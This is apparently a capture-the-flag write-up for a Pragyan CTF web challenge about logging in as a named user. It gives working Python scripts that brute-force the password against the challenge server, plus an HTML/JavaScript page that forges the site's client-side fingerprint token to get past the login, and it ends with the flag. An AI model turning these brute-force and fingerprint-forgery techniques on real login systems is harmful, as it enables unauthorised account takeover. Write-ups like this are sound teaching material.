Home sweet Home [misc]

Home sweet Home

An user named "CruSieg" is posting messages in support of Terrorism. He has setup his Home Photography Studio where he posts images with his own camera and personal computer. Can you login as CrueSieg and remove all the posts and images before its too late?

We are provided:

Recon

The challenge website shows a login & registration screen.

request.json contains an image: pragyan2020_blob.jpg

$ exiftool pragyan2020_blob.jpg
File Name                       : pragyan2020_blob.jpg
File Size                       : 150 kB
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1280
Y Resolution                    : 720
Image Unique ID                 : 720 x 1280
XMP Toolkit                     : Image::ExifTool 11.44
Location                        : Asia/Calcutta
Caption                         : My Home My Studio
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)

Website

Challenge description mentions that we need to login as CrueSieg:

Can you login as CrueSieg and remove all the...

The registration page has logic that limits passwords. For example: if your chosen username is test the password must be (regex): test\d+.

View the code here: main.js

This allows us to bruteforce CrueSieg's password by incrementing a number.

! Public service announcement !

On the topic of incrementing numbers, we should all strive towards adopting the following code style:

javascript:

var i = 5;
var i-=-!"";
// 6

C++:

#include <iostream>

int main() {
    int i = 5;
    i -= -!!"";
    cout << i << endl;
    return 0;
}

Yes.

Bruteforce

Back to the bruteforce.

for i in range(0, 9999):
    data = {
        'username': 'CruSieg',
        'password': f'CruSieg{i}',
        'special_seq': "A",
        'login': 'Login'
    }

    try:
        URL = 'http://ctf.pragyan.org:11000/includes/login.php'
        r = requests.post(URL, headers=headers, data=data, 
                          allow_redirects=False)
        r.raise_for_status()

        blob = dict(r.headers)
        assert "mismatch" not in blob["Location"]

        print(data)
        sys.exit()
    except Exception as ex:
        pass

The server responds with ?error=mismatch in the Location header when a password is invalid.

?error=unidentified is returned when we try password CruSieg3096.

We assume that this password is correct, and now we're missing a valid special_seq POST parameter.

special_seq

During registration/login, a fingerprint is generated (client-side) based on several browser settings; User-agent, timezone, resolution - but also the current password.

Javascript generates a fingerprint, stores it in variable values - and each character you enter in a password input box will create a new special_seq.

Bruteforcing special_seq

Since the challenge provides request.json we can see CruSieg's User-Agent, but also a timezone set to Asia/Calcutta from the image (EXIF).

Solution

We can generate a bunch of special_seq values locally:

<!DOCTYPE html>
<html lang="en">
<body><pre id="results"></pre></body>

<!-- wget http://ctf.pragyan.org:11000/includes/js/fingerprintjs2/fingerprint2.js -->
<script src="fingerprint2.js"></script>
<script>
    function validate(id, username, password, reso){
      var values = [
        // from EXIF
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/64.0.3417.92",
        "not available",
        "en-US", // guessing
        24,  // color depth
        8,
        24,
        reso.split('x').map(Number),  // resolution
        [1280, 688],
        -60,
        "Asia/Calcutta"  // from EXIF
      ];

      var seq=[];
      for(var i =0 ; i<password.length; i++){
        if(Number.isInteger(parseInt(password[i]))){
          seq.push(password[i]);
        }
      }

      var elements = [];
      seq.forEach(element => {
        elements.push(values[element]);
      });

      var str = elements.join();
      str = str.replace(/ +/g, "");
      var murmur = Fingerprint2.x64hash128(str, 31);

      document.getElementById('results').innerHTML += murmur + "\n";
    }

    // resolutions
    let resos = ["1366x768", "1920x1080","1280x800",
                 "320x568", "1440x900", "1280x1024",
                 "320x480", "1600x900", "768x1024",
                 "1024x768", "1680x1050", "360x640",
                 "1920x1200", "720x1280", "480x800",
                 "1360x768", "1280x720", "2560x1440",
                 "3840x2160"];

    for(var i = 0; i !== resos.length; i++) {
      validate("loginPassword", "CrueSieg", "CruSieg3096", resos[i]);
    }
</script>
</html>

Using the generated list of special_seq fingerprint values, we can try some login attempts.

import sys
import requests

cookies = {'PHPSESSID': 'fb34245d6bde5284b5b34beb2c473db1'}
headers = {
    # CrueSieg
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/64.0.3417.92'
}

specials = [
    z.strip() for z in 
        open(
            "special_seq.list", "r"
        ).readlines()
    ]

for special in specials:
    print("trying", special)

    data = {
        'username': 'CruSieg',
        'password': 'CruSieg3096',
        'special_seq': special,
        'login': 'Login'
    }

    URL = 'http://ctf.pragyan.org:11000/includes/login.php'

    try:    
        r = requests.post(URL, headers=headers, data=data, 
                          allow_redirects=False)
        r.raise_for_status()

        blob = dict(r.headers)
        assert "unidentified" not in blob["Location"]

        print(data)
        sys.exit()
    except Exception as ex:
        pass

Found working special_seq: f2664adf0d9a05d17cec8aee84e6502c using screen resolution: 720x1280.

Flag

After login, a flag is presented.

p_ctf{next_t1me_w0nt_be_e45y}